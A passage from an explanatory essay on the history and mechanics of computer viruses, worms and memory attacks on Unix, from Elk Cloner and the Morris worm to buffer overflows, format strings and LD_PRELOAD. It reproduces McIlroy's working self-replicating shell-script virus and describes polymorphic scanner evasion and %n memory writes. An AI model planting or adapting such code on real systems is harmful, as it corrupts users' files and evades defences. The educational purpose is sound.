ANY AND ALL REFERENCES TO THE X-MEN AND PLUG IT INTO A CENTRAL FEDERAL DATA
BANK. FROM THERE, IT'LL INFECT THE ENTIRE SYSTEM IN NO TIME.
...
Carol Danvers: THERE — THE VIRUS PROGRAM IS PRIMED AND READY TO GO. ONCE I'VE
PUNCHED UP THE X-MEN DATA FILE ...
The First Microcomputer Virus (circa 1982)
Real-life computer viruses were in existence in the early 1980s, with perhaps the earliest one
being Elk Cloner, written for DOS 3.3 on the Apple ][ (circa 1982). Cloner infected disks, and
counted the number of times an infected disk had been used. Upon every 50th use, it would
cause the screen to go blank, and the following poem would appear:
Elk Cloner: The program with a personality
It will get on all your disks
It will infiltrate your chips
Yes it's Cloner!
It will stick to you like glue
It will modify ram too
Send in the Cloner!

There were several other viruses for Apple platforms (including the Macintosh) in the 1980s,
such as Festering Hate, Scores, and a peace-loving virus that conveyed a "UNIVERSAL
MESSAGE OF PEACE" to "all Macintosh users around the world" on a specific date.
Formalizing Computer Virology

Fred Cohen pioneered the formal definition and study of computer viruses, and in fact his Ph.
D. dissertation was titled Computer Viruses. On November 3, 1983, Cohen thought of creating
a virus as an experiment to be presented at a weekly seminar on computer security. Cohen
implemented the virus on a VAX 11/750 system running Unix, sought permission to perform
his experiments, and demonstrated his work at the security seminar on November 10, 1983.
The virus was seeded through a program called "vd" that displayed Unix file structures
graphically, but executed viral code before performing its advertised function. "vd" was
introduced as a new utility program on the system bulletin board. Note that in this sense, "vd"
could be termed a Trojan horse.
As we saw earlier, computer viruses had existed in science fiction, and in real-life, before
Cohen's experiments. To recapitulate, the earliest viruses "in the wild" were written for the
Apple ][, while the earliest academic viruses were written for Unix.
Cohen defined a computer virus as a program that "infects" other programs by modifying them
to include a (possibly evolved) copy of itself. The infection property allows a virus to spread
through a computer system or network. In doing so, the virus abuses the authorizations of
users executing the infected programs. Each infected program can act as a virus, thereby
growing the infection.
While the security implications of viruses were a matter of concern, Cohen suggested
beneficial, non-evil viruses, such as a compression virus that would find "uninfected"
(uncompressed) executables, and compress them (so as to recover disk space), if the user
desired and permitted so.
The First PC Virus (circa 1986)

The first virus to actually spread (in the United States, and outside of research or academic
context) was the Brain virus for the PC, initially reported at the University of Delaware in
January 1986. Brain was a boot-sector virus that only infected DOS formatted 360 K floppy
disks. Although the earliest known PC virus, Brain was sophisticated enough to have stealth
capabilities: it intercepted INT 13 (the BIOS interrupt for calling diskette/disk-drive functions)
so as to show the original boot sector if an attempt was made to read an infected boot sector.
Brain was also a unique virus in that it carried the names and whereabouts of its alleged
author(s):
Welcome to the Dungeon
(c) 1986 Basit & Amjad (pvt) Ltd.
BRAIN COMPUTER SERVICES
7360 Nizam Block Allama
Iqbal Town
Lahore, Pakistan
Phone: 430791, 443248, 280530
Beware of this VIRUS
Contact us for vaccination
Consequently, Brain was also known as the Pakistani virus. According to certain accounts, Basit
and Amjad, two brothers from Lahore, wrote the virus as a tool against software piracy. The
current (at the time of this writing) About Page of www.brain.net.pk apparently claims the
virus as an achievement that "... had shown Americans to be the world's biggest copyright
violators ...".
There are numerous differing accounts of the Brain virus and its variants, the examination of
which is beyond the scope of this discussion.
Abstract Virology
In a 1988 paper titled An Abstract Theory of Computer Viruses, Leonard Adleman (the "A" in
RSA, and Fred Cohen's advisor) states that for every computer program, there is an infected
form of that program. He describes a computer virus as a mapping from programs to (infected)
programs, and further says that each infected program on each input ("input" being all
accessible information such as the user's keyboard input, the system's clock, files) causes
injury (doing something else other than what was intended), infection (doing what was
intended, but also infect), or imitation (doing what was intended without injury or infection).
More interestingly, Adleman developed a formal (mathematical) definition of a computer virus
in the paper.
As for protection against viruses, Adleman considered several mechanisms: isolation,

quarantining, disinfecting, certificates, and operating system modification.
Detecting Viruses
On the detection of viruses, Cohen concluded that "a program that precisely discerns a virus
from any other program by examining its appearance is infeasible". Chess and White have
shown relatively recently, in 2000, that it is possible to have computer viruses which no
algorithm can detect.
Viruses want to remain hidden, at least until they have done enough of their intended work. In
order to thwart detection, they use various techniques. Historically, a standard technique to
detect a virus has been to check for its signature. A typical virus might attach itself at the
same logical location in an executable. Moreover, its viral code might be the same in all
instances. Thus, it is possible to detect such viruses by looking for known strings, unique code
sequences, etc. in suspected code.
Virus writers have developed their own mechanisms for defeating virus detection software
(often called virus scanners). Polymorphic viruses, that is, those that can exist in one of many
possible forms, can make things hard for scanners. Let us look at one approach.
Viral IQ
Since signature-based detection systems depend upon a known signature (for example, a
checksum) that does not change (or changes predictably), a virus may ensure that it looks
different to a scanner every so often. The virus could have most of its logic, the viral core,
abstracted out, and stored encrypted. There is a small piece of loader code that is externally
visible as containing executable code. The loader's job is to decrypt the viral core, and load it.
The viral core could generate a new key every time it runs, so that it can be re-encrypted to
make even the encrypted part look different every time. It may even jettison the loader code
every time, only to replace it with a new, different looking loader. Such a "new" loader could be
created by changing the code structure while preserving its semantics. Consider some
examples of doing so:
Randomize the order of variables and subroutines.

When possible, alter the order of instructions in certain instruction sequences.
If it is not possible to rearrange instructions without modifying the control flow/semantics,
rearrange anyway but maintain semantics by restoring the old control flow by using
branch/jump instructions.
Insert instructions that have a null effect on semantics (such as NOOPs).
Then again, new approaches are also used by anti-virus software to deal with such smart and
complicated viruses. If signature-matching is ruled out, heuristics could be applied on the
structure of the code in question. The code jugglery described above would not be used by a
normal program, so there is some hope in heuristics. This might give the scanner an
opportunity to look at the decrypted viral core in memory, or to observe the virus's behavior
otherwise.
Another approach is to test a suspected binary by executing it within a restricted, virtualized

environment, such as a sandbox.
Still, viruses keep "improving". A virus may add even more complicated code structures, such
as subroutines that perform useless calculations, but otherwise appear legitimate to an
onlooker. Traditionally, virus scanners have also relied upon viral code in an infected program
being at a deterministic location, such as at the beginning or at the end. There are viruses that
distribute their code throughout the infected program, chaining instructions together.
Don't Let Them Leave!
Twycross and Williamson of Hewlett-Packard Labs, U.K., have proposed an approach (Virus
Throttling) for combating viruses and worms that involves preventing mobile malicious code
from leaving a system, instead of trying to prevent it from entering. They monitor the network
behavior of a virus, and only allow a certain number of outgoing connections in a given time
interval. Connections that exceed the allowed rate are not dropped, but delayed.
Digital Life: Worms

In this era of "networked by default" computers, the line between typical definitions of a virus
and a worm is getting blurred.
In 1975, science fiction writer John Brunner wrote about "worms" in a computer network in his
book The Shockwave Rider.
I guess you all know about tapeworms ... ? Good. Well, what I turned loose in the net
yesterday was the father and mother — I'll come back to that in a moment — the father and
mother of all tapeworms.
...
It consists in a comprehensive and irrevocable order to release at any printout
station any and all data in store whose publication may conduce to the enhanced well-being,
whether physical, psychological or social, of the population of North America.
...
My newest — my masterpiece — breeds by itself.
...
And — no, it can't be killed. It's indefinitely self-perpetuating so long as the net exists. Even if
one segment of it is inactivated, a counterpart of the missing portion will remain in store at
some other station and the worm will automatically subdivide and send a duplicate head to
collect the spare groups and restore them to their proper place.
...
Incidentally, though, it won't expand to indefinite size and clog the net for other use. It has
built-in limits.
— John Brunner
The Shockwave Rider (1975, Ballantine Books, New York)
The Early Worms
Researchers John Shoch and John Hupp experimented with "worm" programs in 1982 at the
Xerox Palo Alto Research Center. The computing environment consisted of over 100 Alto
computers connected using the Ethernet. A worm was simply a multi-machine computation,
with each machine holding a segment of the worm. The segments on various machines could
communicate with each other. If a segment was lost (say, because its machine went down),
the other segments would search for an idle workstation on which to load a new copy so as to
replace the lost segment — self-repair!
It is interesting to note that all the worm pioneers were John's: Brunner, Hupp, and Shoch.
Good Worms
The idea behind these worm experiments was not that of mischief. With the worm mechanism
in place, the researchers intended to create useful programs that would utilize any otherwise
idle machines. Nevertheless, even though the aberrant potential of worms was clearly
identified, they were not perceived as a real security risk. Comparatively, viruses and self-
replicating trojan horse programs were considered a bigger threat to security.
Some of the useful things these worms were meant to do included reclaiming file space,
shutting down idle workstations, delivering mail, and so on.
Such "good" worms exist even today. While these worms aim to fix, or prevent, the damage
inflicted by "bad" worms (or attempt even general bugfixes), both kinds are surreptitious, and
use a system's resources illegitimately.
Good Worms?
A program called Creeper was written as a demonstration of relocatable computation. Creeper
moved through the ARPANET, attempting to find a Tenex, where it would start to print a file. It
would stop after a while to find another Tenex, and move itself and its state to this new
machine. A subsequent, enhanced version of Creeper could replicate itself occasionally. A
program called Reaper was written to move through the ARPANET to find and remove instances
of Creeper.
In their positive connotation, worms represented essentially distributed computing.
The Morris Worm

A Cornell University graduate student named Robert Tappan Morris, Jr. programmed and
"unleashed" a computer worm on Thursday, November 3, 1988. The Morris worm had many
firsts, mostly dubious, to its credit as a computer worm. It was the first (worm) to:
Cause widespread disruption: Over the eight hour period following its release, the worm
affected between 3000 - 4000 machines.
Gain worldwide attention: It was featured on the front page of the New York Times, the
Wall Street Journal, and USA Today. It became the subject of television and radio features.
Undergo extensive expert analysis: The worm was analyzed by various teams at a
number of Universities and research labs. The worm had been written competently to make its
discovery and analysis difficult, for example: it obscured argv, unlinked its executable, and
killed its parent. The worm also forked itself on a regular basis and killed the parent, so as to
keep changing its process ID and not have a single process accumulate large amounts of CPU
time. This also prevented the worm from being re-niced.
Result in legal action: An FBI investigation began a few days after the worm incident. On
July 26, 1989, Morris was indicted under the 1986 Computer Fraud and Abuse Act. On January
22, 1990, Morris was found guilty by a federal jury, and became the first person to be
convicted under the application section of this law.
The Morris Worm only infected Sun 3 systems and VAX computers running variants of Berkeley
UNIX. It exploited multiple vulnerabilities to gain entry into a system:
The worm exploited a buffer overflow in the finger daemon. It did so via a use of the gets()
function in fingerd by passing in a specially crafted 536 byte buffer containing "shell code".
The saved program counter in the stack frame for the main() function was overwritten,
causing the following function to be executed:
execve("/bin/sh", 0, 0)
Note that the worm only used the buffer overflow exploit for the VAXen (and not the Sun
systems).
The worm looked for machines running the sendmail program with the DEBUG command
allowed. The DEBUG option allowed sendmail to be tested by running programs to display the
state of the mail system without sending mail or establishing a separate login connection.
Using the DEBUG command over an SMTP connection, it was possible to specify a set of
commands that would be executed on the host.
The worm tried several ways to discover user passwords on a local machine: null passwords,
passwords deduced from the user's GECOS information, a dictionary attack using its own 432
word dictionary, and the UNIX online dictionary.
Thus, the worm had logic to propagate itself, and logic to infiltrate systems. Today's worms
usually have the same basic structure.
The Morris Worm led to an increased security awareness in the industry. An important outcome
was the formation of the Carnegie Mellon Computer Emergency Response Team (CERT) in
November 1988. Today, the CERT Coordination Center (CERT/CC) is a major reporting center
for Internet security problems.
Today's Worms
With names such as Sasser, MyDoom, Sobig, Blaster, Code Red, and so on, today's worms
often have a devastating effect on the Internet, causing damage in a variety of ways:
Causing denial (or degradation) of service (worms can cause a phenomenal amount of
network traffic)
Sending emails (containing junk, or maybe information from the victim)
Removing information on the victim system
Installing backdoors for subsequent misuse
Email-sending worms are allegedly of great interest to spammers, as they allow spammers to
use the victims' machines for sending spam while hiding their own tracks.
Viruses on Unix
Unix has the reputation of being "not so buggy", and of being a good maintainer of system
sanctity via good protection mechanisms (in particular, a supervisor mode that is meant to be
very hard to attain for a non-super-user).
Feasibility
You do not need to exploit bugs in an operating system to have viruses. Essentially all
operating systems provide prerequisites for supporting a computer virus. Similarly, supervisor
mode is not necessary for viral activity, and in any case, supervisor mode may be obtained
through virus-unrelated security holes. Moreover, the number of reported viruses on a
particular platform is not an indicator of the feasibility (either way) of viruses on that platform.
A typical definition of a computer virus might have aspects such as the following:
A virus attacks specific file types (or files).

A virus manipulates a program to execute tasks unintentionally.
An infected program produces more viruses.
An infected program may run without error for a long time.
Viruses can modify themselves and may possibly escape detection this way.
Note that none of the above is automatically ruled out on Unix.
Self-Reproduction
A common buzz-phrase heard in the context of computer viruses is that they are self-
reproducing. Ken Thompson presents a delightful discussion on software self-reproduction in
Reflections on Trusting Trust. Thompson says that: "In college ... One of the favorites
[programming exercises] was to write the shortest self-reproducing program [in FORTRAN]".
Now, if self-reproduction is looked upon as purely a programming exercise, the ease of writing
such code would be related to the syntax of the programming language being used. Consider
the following C one-liner (source) that prints itself (broken into multiple lines to fit):
main(){char*p="main(){char*p=%c%s%c;
(void)printf(p,34,p,34,10);}%c";
(void)printf(p,34,p,34,10);}
...
% gcc -o pself pself.c
% ./pself | diff /dev/stdin ./pself.c
Along similar lines, here is one in Perl (source):
$s='$s=%c%s%c;printf($s,39,$s,39);';printf($s,39,$s,39);
...
% perl pself.pl | diff /dev/stdin ./pself.pl
The following is a self-reproducing shell-script (source):
E='E=%s;printf "$E" "\x27$E\x27"';printf "$E" "'$E'"
...
% /bin/sh pself.sh | diff /dev/stdin ./pself.sh
%
Finally, here is C a program that reproduces itself backwards (source):
main(){int i;char *k;char a[]="main(){int i;char *k;
char a[]=%c%s%c;k=(char *)malloc(220);for(i=0;i<219;i++)
{k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183]=k[184];a[184]
=k[183];a[185]=k[184];a[186]=k[185];a[187]=k[184];a[188]=k[
187];printf(a,34,k,34);}";k=(char*)malloc(220);for(i=0
;i<219;i++){k[i]=a[218-i];}*(k+219)=0;strcpy(a,k);a[183]
=k[184];a[184]=k[183];a[185]=k[184];a[186]=k[185];a[187]=k[
184];a[188]=k[187];printf(a,34,k,34);}
...
% gcc -o reflect reflect.c
% ./reflect | perl -e '$r = reverse(<STDIN>); print $r;'\
| diff /dev/stdin ./reflect.c
The point is that it is practical to write self-reproducing code in high-level languages. In

particular, such programs could be made to carry arbitrary baggage, such as viral code.
However, note that real-life viruses usually do not reproduce themselves syntactically.
First *nix Virus?
"McAfee detects first Linux Virus."
— IT headlines, February 7, 1997

Headlines screamed "Linux virus" on February 7, 1997, as it was "proved" that a virus for Linux
could be written. The virus source was posted on several sites, after the compressed tar file
had been byte swapped, uuencoded and rot13'ed, apparently so that curious novices could
not inadvertently use it. The virus was blissfully called Bliss. "Vaccines" appeared promptly
from various sources on the Internet, including an all too happy McAfee.
Note that there was an earlier "virus" for Linux, called Staog, that used buffer overflow
vulnerabilities in mount and tip, and a bug in suidperl, to try to gain root access.
In any case, Unix viruses are not that new, and they were not invented in 1997. We saw earlier
that Cohen created some experimental Unix viruses. Here is a note from Dennis Ritchie on Unix
viruses:
"A few years ago Tom Duff created a very persistent UNIX virus. At that point we had about
10-12 8th or 9th edition VAX 750s networked together. The virus lived in the slack space at the
end of the executable, and changed the entry point to itself. When the program was executed,
it searched the current directory, subdirectories, /bin, /usr/bin for writable, uninfected files
and then infected them if there was enough space."
The Crux Of The Matter
It should not be any harder to write a virus for Unix than it would be for any other system.
However, deploying, or spreading a virus would have different logistics on Unix (and is harder)
as compared to Windows. We discuss some relevant differences between Unix and Windows in
a later section.
How to hide?
There are several candidates on Unix for being a virus's runtime environment. Similarly, there
are several places for a virus to hide on Unix.
The Unix Shells
Shell scripts are a powerful way to program. Unix shells are ubiquitous, accessible, and provide
homogeneity across otherwise heterogeneous systems (for example, with differing application
binary interfaces). Shell scripts are simply text files, and lend themselves easily to be modified.
M. Douglas McIlroy developed a simple shell-script virus, a 150-byte version of which he called
Traductor simplicimus. The code for McIlroy's virus is reproduced below:
for i in * #virus#
do case "`sed 1q $i`" in
"#!/bin/sh")
grep '#virus#' $i >/dev/null ||
sed -n '/#virus#/,$p' $0 >>$i
esac
done 2>/dev/null
Now, given that we have a shell-script, infected.sh, infected with this virus, consider an
example of the infection spreading:
% ls
infected.sh hello.sh
% cat hello.sh
#!/bin/sh
echo "Hello, World!"
% ./infected.sh
/* whatever output it is supposed to product */
% cat hello.sh
#!/bin/sh
echo "Hello, World!"
for i in * #virus#
do case "`sed 1q $i`" in
"#!/bin/sh")
grep '#virus#' $i >/dev/null ||
sed -n '/#virus#/,$p' $0 >>$i
esac
done 2>/dev/null
McIlroy called viruses "a corollary of universality." He concluded viruses to be a natural

consequence of stored-program computing, and pointed out that "no general defense [against
viruses] within one domain of reference is possible ..."
Jim Reeds called /bin/sh "the biggest UNIX security loophole."

Binary Executables
A virus writer may want his virus to hide in a binary executable, for obvious reasons (such files
provide more obscure hiding places, and are often more "active"). However, given the diverse
nature of different Unix platforms (including different executable formats), modifying an
executable might be rather painful to implement. For example, the feasibility and difficulty of
injecting a stream of instructions into an executable to modify program execution would
depend on the file format.
Instruction injection is not limited to virus creation. It has several legitimate uses. Code
profilers could need to insert profiling code in-place. The New Jersey Machine-Code Toolkit
offers help in this regard.
The Executable and Linking Format (ELF) is meant to provide developers with a set of binary
interface definitions that extend across multiple platforms. ELF is indeed used on several
platforms, and is flexible enough to be manipulated creatively, as demonstrated by many. A
virus could attach viral code to an ELF file, and re-route control-flow so as to include the viral
code during execution.
Jingle Bell: A Simple Virus In C

Jingle Bell (source) is an extremely simple minded virus written in C that attaches itself to an
executable by appending the latter to itself and recording the offset. This process repeats itself.
I wrote this "virus" several years ago when I used to work at Bell Laboratories. Hence, the
name.
The virus infects the first executable found, if any, on its command line. Other infection policies
could be programmed too. The virus would somehow need to be introduced in the system,
through a downloaded binary, for example. Assuming that /bin/ls is infected, an infection
session is shown below:
# ls -las
total 15
1 drwxr-xr-x 2 root root 1024 Jan 19 13:33 .
1 drwxr-xr-x 4 root root 1024 Jan 19 13:32 ..
1 -rw-r--r-- 1 root root 75 Jan 19 13:33 hello.c
# cat hello.c
#include <stdio.h>
int
main()
{
printf("Hello, World!\n");
exit(0);
# cc hello.c
# ls -las
total 15
12 -rwxr-xr-x 1 root root 11803 Jan 19 13:36 a.out
# ./a.out
Hello, World
# ls -las a.out # This will infect a.out
# ./a.out # a.out works as before
Hello, World
# cc hello.c -o hello # compile hello.c again
# ls -las # a.out infected, hello not yet infected
total 44
12 -rwxr-xr-x 1 root root 11803 Jan 19 13:40 hello
# ./a.out hello # This should infect hello
Hello, World!
# ls -las # It indeed does
total 61
29 -rwxr-xr-x 1 root root 28322 Jan 19 13:40 hello
The infection works quite typically. It must be noted that the infected program can cause
further infection in its domain only.
How to spread?
As stated earlier, it is one thing to write a virus, it is another to deploy it: seed the infection,
and have it spread. A channel (or a mechanism) used by virus to spread is called a vector.
There is no dearth of potential vectors on Unix (for example, buffer overflow vulnerabilities).
Now, A legitimate and often asked question is that if it is perfectly feasible to create viruses for
Unix systems, and if potential vectors exist, then why are Unix systems (apparently) virus-free
— at least relative to Windows?
This question would be rather easy to deal with if the answer were entirely technical in nature.
It is not. An attempt to answer this question would involve looking at numerous intertwined
issues: real and imaginary, technical and (mostly) non-technical — historical, circumstantial,
social, political, and so on. We look at some of these issues in the final section.
Platform Independent Malware

As discussed earlier, homogeneity is particularly conducive to the creation and proliferation of
malware. On the other hand, heterogeneity is a deterrent to the creation of a single program
that would be an effective misbehaver on multiple systems.
Microsoft has historically laid great emphasis on backwards compatibility, which, together with
Microsoft's large user-base, offers a homogeneous and fertile field for viral endeavors. In
contrast, various Unix systems (even if POSIX, etc. compliant) have been heterogeneous due
to binary incompatibility, system call differences, configuration differences, and other nuances.
Often even two distributions of the same system might differ in some of these regards.
Nevertheless, operating systems in general tend to gain varying degrees of homogeneity with
respect to each other, as "good" (or useful) ideas from one system get adopted by others. In
particular, there exist many execution environments that are available (and provide the same
APIs) on various Unix and other systems, including Windows:
Consider some examples:
Emacs LISP
Emulated Environments
Java
JavaScript
Office Suites
Perl
Postscript
Python
Tcl
TEX
"Unix" Shells
Web Browsers
While these environments would be resistant to mischief to different extents, they nonetheless
provide cross-platform uniformity.
Consider Perl. It presents various uniform APIs for the underlying system. In fact, Perl may
even allow for an arbitrary system call to be invoked (one that does not have a corresponding
Perl function) from within a script using the syscall function. A vulnerability in the platform-
independent portion of Perl might be exploitable on several platforms.
There have been several proofs-of-concept (such as a TEX virus), usually in academic settings.
Realistically though, cross-platform malware is not very common.
Defeating Memory
It is common to have a situation where a user legitimately needs to perform an operation that
requires more privileges than the user has. We discussed the setuid mechanism as a solution
to this problem. Consider the ping command. It crafts and sends the ICMP protocol's
ECHO_REQUEST datagram and receives responses. ping needs to send raw IP packets,
something that only the super-user is allowed to do on a typical Unix system.
On such systems, ping is setuid root: when run by a normal user, it runs with super-user
privileges. A good implementation would ensure that ping only has these "elevated" (or
escalated) privileges exactly for the duration that they are absolutely required. On a system
that supports fine-grained capabilities, ping would only have the ability to send raw packets,
and would not be able to do anything else as a super-user.
In general, programs that can be launched by a normal user, but run with elevated privileges
for part or all of the time, are perhaps the most attractive portals to defeating system security.
In this context, the specific resource attacked is almost always memory.
Memory-based attacks on an application try to exploit flaws in its (or the runtime's)
implementation — either programming errors or oversights. Typically, such attacks attempt to
alter the (runtime) memory of an application so as to make the application do something it is
not meant to — in the window of time when the application is running with elevated privileges.
Note that many setuid applications may not drop privileges irrevocably and may simply run
with elevated privileges throughout. Some applications, even if they do drop privileges, might
do so in a manner which allows for an explicit re-elevation.
Your Buffers Runneth Over

Unless otherwise stated, the language of implementation (of an application or a runtime) is
assumed to be C (and relatives).
A widely used form of such vulnerability is a buffer overflow, particularly when the "buffer" (a
chunk of contiguous memory) resides on the stack. Buffer overflows could be remotely
exploited if they are in an application that is accessible over the network (such as a network
daemon). Indeed, the Morris worm used a buffer overflow in the finger daemon as one of its
infiltration mechanisms.
Exploiting an application using a buffer overflow attack requires crossing two primary technical
hurdles: 1. to have the desired code be present in the address space of the application, and 2.
to make the application execute this code somehow, possibly with appropriate parameters.
The "desired code" could be arbitrary payload code, but most often is code for executing a
command shell (using an exec family function, say). Popularly known as shellcode, it is a
stream of bytes that actually constitute executable code, such as machine instructions. This
"bytestream" is introduced into the victim program's address space using a data buffer. In
some variants of such attacks, no code is injected, but existing (legitimate) code in the
program's address space is misused.
Memory attacks can target one or more of several data structures involved in a program's
execution.
Stack
A vulnerable stack buffer is declared on the stack (an automatic variable in C parlance), and is
used with an "unsafe" function (such as fscanf, gets, getwd, realpath, scanf, sprintf,
strcat, or strcpy). The function copies data into this buffer without taking into account the
size of the buffer. Since the program will blindly copy an arbitrary amount of data into this
buffer, it is possible to overrun, or overflow the buffer with carefully constructed data.
Now, in addition to this buffer, there are other critical entities resident on the stack, in
particular, the return address that the program will "jump" to after the current function
finishes. This return address can therefore be overwritten using such a buffer overflow. The
new return address would point to a piece of code of the attacker's choosing: perhaps
something he injected into the program courtesy the same overflow.
Vulnerable Control Channel
The technical vulnerability here is the presence of control information (return address for a
subroutine) in addressable, overwritable data.
Generically speaking, such a problem arises when multiple information channels using the
same physical medium differ in their privileges or criticality (with respect to the working of the
system they are a part of), but are accessible to a user. If the user can modify information in a
control channel, he could make the system behave in a way it was not intended to. A real-life
example is that of the older telephone system, with the "data" (voice or data) and control
(tones) channels being on the same "line", allowing an attacker (a phone phreaker) to control
the line, say, by whistling the right tones into it.
Each platform might have its nuances with respect to buffer overflows. On the PowerPC, the
link register (LR) is used to store the return address of a subroutine call invoked by the bl
(branch and link) instruction. It is not possible to address this register through memory, but
the current value of LR is saved on the stack if the current function calls another function.
Good Shellcode
Desirable properties of shellcode include small size, being self-contained, and having no NULL
bytes. A NULL byte terminates a C string, so a function accepting a string parameter would not
look beyond the NUL character. Further, it is preferable to have shellcode that only consists of
printable ASCII characters, a feature that could be useful in avoiding detection (by an intrusion
detection system, say).
There are ways to accommodate NULL bytes, depending on the architecture. For example, it
might be possible to get rid of NULL bytes by using a XOR operation (a value XOR'ed with itself
yields a zero).
On the PowerPC, the opcode for the sc (system call) instruction is 0x44000002, and thus
contains NULL bytes. The second and third bytes of this opcode are reserved (unused), and the
opcode "works" even if they were replaced with a nonzero value. In any case, there is no other
PowerPC instruction with prefix 0x44 and suffix 0x02. The same holds for the NOP (no
operation) instruction, whose opcode is 0x60000000.
Formalizing Shellcode Writing
Developing shellcode from scratch could be a slow, trial-and-error process. However, once
developed (by whoever), a piece of shellcode often sees a tremendous amount of re-use. Note
that those on the side of security benefit by understanding and experimenting with the
techniques used by attackers. Consequently, you may have a legitimate non-malicious use for
shellcode (to test an intrusion detection system, say).
Several tools and libraries exist for making it easier to experiment with shellcode. A good
example is the Metasploit Framework: a complete environment for writing, testing, and using
exploit code. It is advertised by its creators as a platform for penetration testing, shellcode
development, and vulnerability research.
There are several variations and derivatives of this technique. The shellcode could be stored in
an environment variable, and execle could be used along with the overflowed buffer resulting
in the return address pointing to an appropriate position in the environment.
Heap
If a buffer residing on the heap (such as a malloc'ed variable) is overflowable (for example, it
is used in the program without proper bounds checking), it could result in an exploitable
vulnerability. If a critical data structure (a filename to be overwritten or created, a structure
containing user credentials, or a critical function pointer) is located on the heap after the
"weak" buffer, it could be misused.
It may be possible to misuse code that is already present in the address space of the program.
You may already have useful strings in the program itself, or in libraries that it uses. Thus, an
exploit could reroute control-flow to execute one or more functions from the C library, usually
after arranging the appropriate parameters on the stack. If the called C function takes a
pointer as an argument, the pointer's target might be corruptible.
Typical malloc implementations use the heap itself to store their book-keeping information
(for example, the free block list). Note that this is similar in philosophy to a function's return
address on the stack: control information lives alongside data, and can be overwritten. Thus,
overflowing a malloc'ed buffer could be used to corrupt the memory management information
(since it is kept next to the blocks used by the program).
It is possible to corrupt administrative data structures in certain malloc implementations by

freeing memory multiple times. A widely reported example of this vulnerability was in the zlib
compression library.
Incorrect Mathematics
Another category of attacks is those that cause integer overflow. Consider a program that uses
an integer, arrived at after runtime calculations (based on user-input, say), to allocate some
memory. If the user can cause the result of the calculations to be larger than what can be held
correctly in the variable being used by the program, subsequent operations using that integer
may not work correctly. Note that an underflow could be abused similarly. Consider the
following code fragment:
/* itest.c */
#include <stdlib.h>
int
main(int argc, char **argv)
int n;
char c8; /* overflows at 128 */
unsigned char uc8; /* overflows at 256 */
/* ... */
n = atoi(argv[1]);
c8 = n;
uc8 = n;
/* ... */
printf(" signed: %d (%x)\n", c8, c8);
printf("unsigned: %u (%x)\n", uc8, uc8);
/*
...
somepointer = malloc(somefunction(c8));
...
*/
Now consider:
% ./itest 127
signed: 127 (7f)
unsigned: 127 (7f)
% ./itest 255
signed: -1 (ffffffff)
unsigned: 255 (ff)
% ./itest 256
signed: 0 (0)
unsigned: 0 (0)
Overflows, along with several size- and type-related subtleties that one must be aware of while
using mathematical functions in programs, constitute a set of exploitable entities.
Format String Vulnerabilities
The omnipresent printf function uses the varargs (variable arguments) mechanism to accept
any number of arguments. Sometimes, programmers pass untrusted strings to printf.
Consider the following two apparently similar invocations:
printf("%s", untrustedstring);
printf(untrustedstring); /* unsafe! */
The second invocation is unsafe because untrustedstring could contain printf format
specifiers itself. Since there are no other arguments that would correspond to any format
specifiers in the string, printf would simply try to use whatever is on the stack as arguments
— it doesn't know any better.
For example, if you were to use a "%p" or "%x" specifier, printf would expect an argument,
which isn't there in our function invocation. As far as printf is concerned, it would simply
print the element from the stack where the argument normally would have been. In this
fashion, you could examine stack memory.
Along similar lines, you could use the "%s" format specifier to read data from (reasonably)
arbitrary memory addresses. The address to be read could be supplied using the format string
itself.
It is usually possible (depending upon your printf implementation) to access a specific

paramter, upto a certain number (again, implementation-dependent) on the stack directly from
within a format string. Consider:
% cat dpa.c
main()
printf("%4$s\n", "five", "four", "three", "two", "one");
% gcc -o dpa dpa.c
% ./dpa
four
This direct parameter access could be a simplifying factor in developing such attacks.
Another specifier, "%n", could be used to write arbitrary data to carefully-selected addresses.
When "%n" is used, the number of characters written so far is stored into the integer indicated
by the int * (or variant) pointer argument, without any argument conversion.
Besides printf, there are several other related functions subject to the same vulnerabilities,
such as: asprintf, fprintf, sprintf, snprintf, etc.
Other, non-printf family functions with similar issues include syslog, and the err/warn
family of functions for displaying formatted error and warning messages.
Many Others
There are several other areas of interest (susceptible to format string, or other attacks)
depending on the platform, the binary format involved, etc. For example:
Static data areas (initialized or uninitialized).

Buffers that store data for longjmp.
The atexit array (meant to contain functions that are registered to be called on exit).
In an ELF file that uses dynamic linking, the .got and .plt sections contain two separate
tables: the Global Offset Table (GOT) and the Procedure Linkage Table (PLT). The GOT contains
absolute addresses in an executable or shared library's private data, but it can itself be
referenced using position-independent addressing. Thus, position-independent references are
redirected to absolute locations. Similarly, the PLT redirects position-independent function calls
to absolute locations. The addresses used by the PLT reside in the GOT. Now, while the PLT is
marked read-only, the GOT is not. Again, we see a situation where control information is
writable.
The GNU C compiler supports generation of special functions, constructors and destructors,
as shown in the following example:
% cat d.c
void constructor(void) __attribute__ ((constructor));
void destructor1(void) __attribute__ ((destructor));
void destructor2(void) __attribute__ ((destructor));
void
constructor(void)
printf("constructor()\n");
}
void
destructor1(void)
printf("destructor1()\n");
void
destructor2(void)
printf("destructor2()\n");
main() { printf("main()\n"); }
% gcc -o d d.c
% ./d
constructor()
main()
destructor1()
destructor2()
Thus, constructors and destructors are automatically called just before main starts executing,
and just before it exits, respectively. These functions live in their own sections: .ctors and
.dtors, respectively, in 32-bit ELF (let us assume ELF on 32-bit Linux). In a Mach-O file (such
as on Mac OS X), the corresponding sections are called
LC_SEGMENT.__DATA.__mod_init_func and LC_SEGMENT.__DATA.__mod_term_func,
respectively.
Now, the reasons that make this mechanism susceptible to attack are the following: these
sections in an ELF file are writable, and moreover, even in the absence of any explicitly
declared destructors, GCC puts empty .dtors and .ctors sections in an ELF file. Note that
this is not the case for Mach-O binaries compiled with GCC.
LD_PRELOAD
The run-time link-editor on a typical Unix system honors several environment variables, one of
which is LD_PRELOAD. This variable can contain a colon separated list of shared libraries, to be
linked in before any other shared libraries. This feature is useful in many scenarios:
Debugging.
Interim bugfixes.
Loading compatibility libraries (there used to be a library /usr/lib/lib0@0.so.1 on
Solaris that could be preloaded to establish a value of 0 at location 0, for the benefit of certain
programs that assume a null character pointer to be the same as pointer to a null string).
Modifying software behavior without source code changes, often for customization
purposes.
Research and experimentation.
Now, while LD_PRELOAD is not honored for setuid programs (if it were, any user could run a
setuid program, with a common function re-implemented in the preloaded library to exec() a
shell), it could be a mechanism for mischief. For example, a virus could pollute a user's
environment namespace (or maybe even the global namespace), to have a viral library
preloaded. LD_PRELOAD was also used to exploit some network daemons that allowed their
clients to transfer environment variables. In certain cases, a user could upload a malicious
